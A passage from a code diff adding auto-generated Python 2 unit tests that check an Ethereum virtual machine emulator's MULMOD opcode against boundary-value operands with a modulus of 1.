+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_172(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_173(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_174(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_175(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_176(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_177(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_178(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_179(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_180(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_181(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_182(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_183(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_184(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_185(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_186(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_187(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_188(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_189(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_190(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_191(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_192(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_193(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_194(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_195(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_196(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_197(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_198(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_199(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_200(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_201(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_202(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_203(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_204(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
